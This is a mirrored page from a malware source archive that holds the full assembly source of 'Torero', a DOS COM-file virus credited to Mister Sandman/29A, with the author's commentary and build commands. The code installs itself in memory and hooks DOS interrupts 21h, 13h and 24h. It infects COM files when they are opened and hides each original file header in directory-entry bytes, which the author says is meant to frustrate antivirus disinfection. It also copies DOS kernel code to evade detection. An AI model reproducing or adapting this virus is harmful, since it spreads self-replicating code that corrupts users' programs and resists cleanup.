mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
571 lines
24 KiB
NASM
571 lines
24 KiB
NASM
|
;
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Torero <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
|
|||
|
; by Mister Sandman/29A <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
|
|||
|
;
|
|||
|
; Hoho... here you have a new coolio viral technique, especially dedicated
|
|||
|
; to those who think that everything on viruses was invented yet :) This
|
|||
|
; virus ain't a 'powerful' one; in fact, and as i decided to do in this
|
|||
|
; first issue as i hadn't many time, it's a simple infector just written
|
|||
|
; to show this new viral capability, never used before as far as i know.
|
|||
|
;
|
|||
|
; And what is this technique about?, you might ask. Ok... apart from DirII
|
|||
|
; and all its family, we don't know many viruses that store the original
|
|||
|
; header of infected files in other place than the viral code, right?
|
|||
|
;
|
|||
|
; AVV and i were making some researches and suddenly found ten free unused
|
|||
|
; bytes on the directory entry of each file... and this the place where my
|
|||
|
; virus stores the header of every file it infects :) In this way, the AV
|
|||
|
; companies must write some specific routines for disinfecting Torero...
|
|||
|
; this means that the cleaning of our virus is more difficult, which is
|
|||
|
; what we're looking for :)
|
|||
|
;
|
|||
|
; Anyway, as every viral technique, it has some pros and some cons... and
|
|||
|
; the cons consist on the next simple thingy: if someone copies, compress-
|
|||
|
; es, or manipulates an infected file, it will have a different directory
|
|||
|
; entry, and then it will be imposible to restore its original header.
|
|||
|
;
|
|||
|
; However, and as this is just a sample virus, i didn't pay much attention
|
|||
|
; to this kinda probabilities, and i just used an idea Wintermute gave me:
|
|||
|
; if the host doesn't find its original header, it will display a message
|
|||
|
; i'm sure you all know: 'This program requires Microsoft Windows.' :)
|
|||
|
;
|
|||
|
; As a last (but not least) feature in this virus, don't forget to have a
|
|||
|
; look at the infection mark, based on using the eigth attribute bit, al-
|
|||
|
; ways empty and unused until now. This is a specially good infection mark
|
|||
|
; for a virus, as it's very simple and doesn't get flagged because of in-
|
|||
|
; correct time stamp and all that shit. Besides, it makes things easier
|
|||
|
; for us when implementing stealth techniques, etc.
|
|||
|
;
|
|||
|
; About the name, i decided to call it 'Torero' because it's a spanish
|
|||
|
; word which means 'bullfighter', often used for telling someone that he
|
|||
|
; or what he did is cool, because toreros are supposed to have the biggest
|
|||
|
; nuts around :)
|
|||
|
;
|
|||
|
; Compiling instructions
|
|||
|
;
|
|||
|
; tasm /m torero.asm
|
|||
|
; tlink torero.obj
|
|||
|
; exe2bin torero.exe torero.com
|
|||
|
|
|||
|
|
|||
|
.286
|
|||
|
torero segment byte public
|
|||
|
assume cs:torero,ds:torero
|
|||
|
org 0
|
|||
|
|
|||
|
torero_start label byte
|
|||
|
torero_size equ torero_end-torero_start
|
|||
|
|
|||
|
torero_entry: call delta_offset ; Get <20>-offset in BP
|
|||
|
delta_offset: pop bp ; for l8r use
|
|||
|
sub bp,offset delta_offset
|
|||
|
|
|||
|
mov ah,30h ; Get DOS version
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp bx,';)' ; Are we already
|
|||
|
jne set_int_21h ; memory resident?
|
|||
|
|
|||
|
push cs ; Save CS for the host
|
|||
|
mov bx,ds ; Don't lose DS
|
|||
|
xor ax,ax ; Jump to the memory
|
|||
|
mov ds,ax ; copy and restore
|
|||
|
push word ptr ds:[21h*4+2] ; the host header
|
|||
|
push offset check_host
|
|||
|
mov ds,bx
|
|||
|
retf
|
|||
|
|
|||
|
set_int_21h: mov ax,es
|
|||
|
dec ax
|
|||
|
mov ds,ax ; Program's MCB segment
|
|||
|
xor di,di
|
|||
|
|
|||
|
cmp byte ptr ds:[di],'Y' ; Is it a Z block?
|
|||
|
jna set_int_21h
|
|||
|
|
|||
|
sub word ptr ds:[di+3],((torero_size/10h)+2)
|
|||
|
sub word ptr ds:[di+12h],((torero_size/10h)+2)
|
|||
|
add ax,word ptr ds:[di+3]
|
|||
|
inc ax
|
|||
|
|
|||
|
mov ds,ax
|
|||
|
mov byte ptr ds:[di],'Z' ; Mark block as Z
|
|||
|
mov word ptr ds:[di+1],8 ; System memory
|
|||
|
mov word ptr ds:[di+3],((torero_size/10h)+1)
|
|||
|
mov word ptr ds:[di+8],4f44h ; Mark block as owned
|
|||
|
mov word ptr ds:[di+0ah],0053h ; by DOS (444f53h,0)
|
|||
|
inc ax
|
|||
|
|
|||
|
cld
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov es,ax
|
|||
|
mov cx,torero_size ; Copy virus to memory
|
|||
|
mov si,bp
|
|||
|
rep movsb
|
|||
|
|
|||
|
push es
|
|||
|
push offset copy_vector ; Jump to the virus
|
|||
|
retf ; copy in memory
|
|||
|
|
|||
|
copy_vector: push ds
|
|||
|
mov ds,cx
|
|||
|
mov es,ax ; Save int 21h's
|
|||
|
mov si,21h*4 ; original vector
|
|||
|
lea di,old_int_21h
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
mov word ptr [si-4],offset new_int_21h
|
|||
|
mov word ptr [si-2],ax ; Set ours
|
|||
|
|
|||
|
mov si,13h*4 ; Save int 13h's
|
|||
|
lea di,old_int_13h ; original vector
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
mov word ptr [si-4],offset new_int_13h
|
|||
|
mov word ptr [si-2],ax ; Set ours
|
|||
|
|
|||
|
mov ds,ax
|
|||
|
check_host: call open_host ; Open the host
|
|||
|
call get_sft ; Get its SFT for our
|
|||
|
call check_mark ; infection mark
|
|||
|
jb messed_up ; File is messed up :-(
|
|||
|
|
|||
|
call read_entry ; Read the entry
|
|||
|
call point_entry ; Point to the header
|
|||
|
cmp word ptr ds:[si],0 ; Is it empty?
|
|||
|
jne restore_header
|
|||
|
|
|||
|
cmp word ptr ds:[si+2],0 ; Empty too? huh :-(
|
|||
|
je messed_up ; File is messed up
|
|||
|
|
|||
|
restore_header: pop es ; ES=host segment
|
|||
|
push es ; Store it in the stack
|
|||
|
mov di,100h ; file header from the
|
|||
|
push di ; Store the IP
|
|||
|
movsw ; DS:SI points to the
|
|||
|
movsb ; original header, in
|
|||
|
; the directory entry
|
|||
|
push es
|
|||
|
pop ds ; DS=ES
|
|||
|
retf ; Jump to the host
|
|||
|
|
|||
|
messed_up: mov ah,3eh ; File is messed up...
|
|||
|
int 21h ; close it and show
|
|||
|
call emergency ; the Windows message :)
|
|||
|
|
|||
|
; <20>Ĵ Torero's int 13h handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
new_int_13h: cmp ah,3
|
|||
|
je sector_write ; Sector write?
|
|||
|
|
|||
|
db 0eah ; Jump back to the
|
|||
|
old_int_13h dw ?,? ; original int 13h
|
|||
|
|
|||
|
sector_write: push ax bx cx
|
|||
|
pushf
|
|||
|
|
|||
|
xor ah,ah ; Calculate how many
|
|||
|
mov cl,4 ; files we must test
|
|||
|
shl ax,cl ; by multiplying the
|
|||
|
mov cx,ax ; sector number with
|
|||
|
or cx,cx ; 10h (entries)
|
|||
|
je bucle_end
|
|||
|
|
|||
|
int_13h_bucle: cmp byte ptr es:[bx+9],'O' ; -O-?
|
|||
|
jne more_files
|
|||
|
|
|||
|
mov al,byte ptr es:[bx+9]
|
|||
|
sub al,2
|
|||
|
cmp al,byte ptr es:[bx+0ah] ; -OM?
|
|||
|
jne more_files
|
|||
|
cmp al,'M' ; Then it's a COM
|
|||
|
je subtract
|
|||
|
|
|||
|
more_files: add bx,20h ; Look for more files
|
|||
|
loop int_13h_bucle ; Look'n'loop :)
|
|||
|
|
|||
|
bucle_end: popf
|
|||
|
pop cx bx ax ; End of the bucle
|
|||
|
; Call the original
|
|||
|
call int_13h ; int 13h and jump
|
|||
|
xor_and_jump: xor ax,ax ; to the original int
|
|||
|
|
|||
|
return_to_int: push bp ax
|
|||
|
pushf
|
|||
|
|
|||
|
pop ax ; Return to the
|
|||
|
mov bp,sp ; original int 13h
|
|||
|
mov word ptr ss:[bp+8],ax
|
|||
|
|
|||
|
pop ax bp
|
|||
|
retf 2
|
|||
|
|
|||
|
subtract: cmp byte ptr es:[bx],0e5h ; A deleted file...
|
|||
|
je more_files ; bah, skip it
|
|||
|
|
|||
|
cmp byte ptr es:[bx+0bh],80h ; Infected?
|
|||
|
jb more_files
|
|||
|
|
|||
|
cmp word ptr es:[bx+0ch],0 ; Is the header field
|
|||
|
jne more_files ; empty?
|
|||
|
|
|||
|
cmp word ptr es:[bx+0eh],0
|
|||
|
jne more_files
|
|||
|
|
|||
|
mov ax,word ptr cs:[header_store] ; Ok, let's copy
|
|||
|
mov word ptr es:[bx+0ch],ax ; the original file
|
|||
|
; header to the
|
|||
|
mov ax,word ptr cs:[header_store+2] ; directory entry
|
|||
|
mov word ptr es:[bx+0eh],ax
|
|||
|
jmp more_files
|
|||
|
|
|||
|
; <20>Ĵ Torero's signature <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
signature db 0dh,0ah,'[Torero <20>:-) by Mister Sandman/29A]',0dh,0ah
|
|||
|
|
|||
|
; <20>Ĵ Torero's int 21h handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
new_int_21h: cli
|
|||
|
cmp ah,6ch ; This code is stolen
|
|||
|
ja real_checks ; from the original
|
|||
|
; DOS kernel handler,
|
|||
|
cmp ah,33h ; so they won't catch
|
|||
|
jb real_checks ; us if they don't go
|
|||
|
jz fake_stuff ; further thru the
|
|||
|
; rest of the code of
|
|||
|
cmp ah,64h ; the handler... thanx
|
|||
|
ja fake_stuff ; to Qark for this
|
|||
|
jz real_checks ; cool idea :)
|
|||
|
|
|||
|
cmp ah,51h
|
|||
|
jz real_checks
|
|||
|
|
|||
|
cmp ah,62h
|
|||
|
jz fake_stuff
|
|||
|
|
|||
|
cmp ah,50h
|
|||
|
jz real_checks
|
|||
|
|
|||
|
fake_stuff: push ax bx cx ; Shit, shit, shit,
|
|||
|
nop ; shit... skip it
|
|||
|
pop cx bx ax
|
|||
|
|
|||
|
real_checks: cmp ah,30h
|
|||
|
jne opening ; (get DOS version)?
|
|||
|
|
|||
|
mov bx,';)' ; Return the smiley :)
|
|||
|
iret
|
|||
|
|
|||
|
opening: cmp ah,3dh ; File opening?
|
|||
|
je file_open
|
|||
|
|
|||
|
cmp ax,4301h ; Attribute change?
|
|||
|
je new_attribute
|
|||
|
|
|||
|
cmp ax,6c00h ; Extended open?
|
|||
|
je file_open
|
|||
|
|
|||
|
jmp_int_21h db 0eah ; Jump to the original
|
|||
|
old_int_21h dw ?,? ; int 21h address
|
|||
|
|
|||
|
; <20>Ĵ File open <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
file_open: call infect_file ; Infection routine
|
|||
|
jmp dword ptr cs:[old_int_21h] ; Jump back to int 21h
|
|||
|
|
|||
|
; <20>Ĵ New attribute <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
new_attribute: mov ah,30h ; Change 43h for 30h
|
|||
|
iret ; so it will do nothing
|
|||
|
|
|||
|
; <20>Ĵ Infection routine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
infect_file: pushf
|
|||
|
push ax bx cx dx ; Push registers, flags
|
|||
|
push si di ds es ; and all that shit
|
|||
|
|
|||
|
call set_int_24h ; Set int 24h
|
|||
|
|
|||
|
cmp ah,6ch ; Extended open?
|
|||
|
jne normal_open
|
|||
|
|
|||
|
mov dx,si ; Fix it to DS:DX
|
|||
|
normal_open: mov ax,3d00h ; Open the file
|
|||
|
call int_21h
|
|||
|
xchg bx,ax ; File handle in BX
|
|||
|
|
|||
|
push cs ; CS=DS
|
|||
|
pop ds
|
|||
|
|
|||
|
call get_sft ; Get file's SFT
|
|||
|
call check_mark ; Already infected?
|
|||
|
jae close_and_pop
|
|||
|
|
|||
|
mov byte ptr es:[di+2],2 ; Open mode=r/w
|
|||
|
mov ax,word ptr es:[di+28h] ; Check the extension
|
|||
|
cmp ax,'OC' ; of our victim
|
|||
|
jne close_and_pop
|
|||
|
|
|||
|
mov byte ptr cs:[infecting],1
|
|||
|
mov ah,3fh ; Read the first three
|
|||
|
mov cx,3 ; bytes to our temporal
|
|||
|
lea dx,header_store ; header store
|
|||
|
call int_21h
|
|||
|
|
|||
|
mov ax,word ptr es:[di+11h] ; File lenght in AX
|
|||
|
cmp ax,0ea60h ; Too big file?
|
|||
|
ja close_and_pop
|
|||
|
|
|||
|
push ax ; Lseek to the end of
|
|||
|
call lseek_end ; the file
|
|||
|
|
|||
|
mov ah,40h ; Append our k-r4d
|
|||
|
mov cx,torero_size ; code :)
|
|||
|
lea dx,torero_start
|
|||
|
call int_21h
|
|||
|
|
|||
|
pop ax ; Make the jmp to
|
|||
|
sub ax,3 ; our virus body
|
|||
|
mov word ptr cs:[com_header+1],ax ; for the new file
|
|||
|
call set_marker
|
|||
|
|
|||
|
call lseek_start ; Lseek to the start
|
|||
|
|
|||
|
mov ah,40h ; Write the new header
|
|||
|
mov cx,3 ; in so we'll be always
|
|||
|
lea dx,com_header ; executed first ;P
|
|||
|
call int_21h
|
|||
|
|
|||
|
mov ax,word ptr es:[di+11h] ; Actual size in AX
|
|||
|
sub ax,3 ; Lseek to the position
|
|||
|
call lseek_end ; of the original header
|
|||
|
|
|||
|
mov ah,40h ; Destroy all the info,
|
|||
|
mov cx,3 ; already stored in the
|
|||
|
lea dx,garbage ; directory entry };)
|
|||
|
call int_21h
|
|||
|
|
|||
|
close_and_pop: mov ah,3eh ; Close the file
|
|||
|
call int_21h
|
|||
|
|
|||
|
call reset_int_24h ; Reset int 24h
|
|||
|
|
|||
|
pop es ds di si ; And pop out all the
|
|||
|
pop dx cx bx ax ; shit we pushed b4
|
|||
|
popf
|
|||
|
ret
|
|||
|
|
|||
|
; <20>Ĵ Call to the original int 13h <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
int_13h: pushf
|
|||
|
call dword ptr cs:[old_int_13h] ; Call the original
|
|||
|
ret ; int 13h
|
|||
|
|
|||
|
; <20>Ĵ Call to the original int 21h <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
int_21h: pushf
|
|||
|
call dword ptr cs:[old_int_21h] ; Call the original
|
|||
|
ret ; int 21h
|
|||
|
|
|||
|
; <20>Ĵ Get SFT in ES:DI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
get_sft: push ax bx
|
|||
|
mov ax,1220h ; Get job file table
|
|||
|
int 2fh ; in ES:DI (DOS 3+)
|
|||
|
jc bad_sft
|
|||
|
|
|||
|
xor bx,bx ; Get the address of
|
|||
|
mov ax,1216h ; the specific SFT for
|
|||
|
mov bl,byte ptr es:[di] ; our handle
|
|||
|
int 2fh
|
|||
|
|
|||
|
bad_sft: pop bx ax ; Pop registers and
|
|||
|
ret ; return to the code
|
|||
|
|
|||
|
; <20>Ĵ Check our infection mark <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
check_mark: cmp byte ptr es:[di+4],80h ; Compare with the min.
|
|||
|
ret ; value of our mark
|
|||
|
|
|||
|
; <20>Ĵ Read the directory entry <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
read_entry: push ax bx cx
|
|||
|
call parameters ; Load the sector
|
|||
|
int 25h
|
|||
|
|
|||
|
pop cx cx bx ax
|
|||
|
ret
|
|||
|
|
|||
|
; <20>Ĵ Sector loading <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
parameters: mov ax,word ptr es:[di+1bh] ; Load the sector
|
|||
|
mov word ptr cs:[control_block],ax ; number in our
|
|||
|
mov ax,word ptr es:[di+1dh] ; control block
|
|||
|
mov word ptr cs:[control_block+2],ax ; Read a long
|
|||
|
mov cx,0ffffh ; sector, 4 bytes
|
|||
|
|
|||
|
push cs ; CS=DS
|
|||
|
pop ds
|
|||
|
|
|||
|
mov word ptr cs:[control_block+4],1 ; One sector
|
|||
|
mov word ptr cs:[control_block+6],offset sector
|
|||
|
mov word ptr cs:[control_block+8],cs
|
|||
|
lea bx,control_block ; Control block
|
|||
|
|
|||
|
push ds si
|
|||
|
lds si,dword ptr es:[di+7] ; Point to the
|
|||
|
lodsb ; DPB
|
|||
|
pop si ds
|
|||
|
ret
|
|||
|
|
|||
|
; <20>Ĵ Point to the original header <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
point_entry: mov al,byte ptr es:[di+1fh] ; Guess the entry
|
|||
|
xor ah,ah
|
|||
|
|
|||
|
push cx
|
|||
|
mov cl,5 ; Multiply it*20h
|
|||
|
shl ax,cl
|
|||
|
pop cx
|
|||
|
|
|||
|
lea si,sector ; Calculate its offset
|
|||
|
add si,ax ; into the sector and
|
|||
|
add si,0ch ; move to si+0ch (header)
|
|||
|
ret
|
|||
|
|
|||
|
; <20>Ĵ Set int 24h <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
set_int_24h: push ax si di
|
|||
|
push ds es
|
|||
|
|
|||
|
xor ax,ax ; Point to the IVT
|
|||
|
mov ds,ax
|
|||
|
|
|||
|
push cs ; CS=ES
|
|||
|
pop es
|
|||
|
|
|||
|
mov si,24h*4 ; Save the original int
|
|||
|
mov di,offset old_int_24h ; 24h address and set
|
|||
|
cld ; ours l8r
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
mov word ptr [si-4],offset new_int_24h
|
|||
|
mov word ptr [si-2],cs
|
|||
|
|
|||
|
pop es ds
|
|||
|
pop di si ax
|
|||
|
ret
|
|||
|
|
|||
|
; <20>Ĵ Restore int 24h <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
reset_int_24h: push ax si di
|
|||
|
push ds es
|
|||
|
|
|||
|
xor ax,ax ; Point to the IVT
|
|||
|
mov es,ax
|
|||
|
|
|||
|
push cs ; CS=DS
|
|||
|
pop ds
|
|||
|
|
|||
|
mov si,offset old_int_24h ; Restore the original
|
|||
|
mov di,24h*4 ; int 24h address
|
|||
|
cld
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
pop es ds
|
|||
|
pop di si ax
|
|||
|
ret
|
|||
|
|
|||
|
; <20>Ĵ Torero's int 24h handler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
new_int_24h: mov al,3 ; Pass the error code
|
|||
|
iret
|
|||
|
|
|||
|
old_int_24h: dw ?,? ; Original int 24h
|
|||
|
|
|||
|
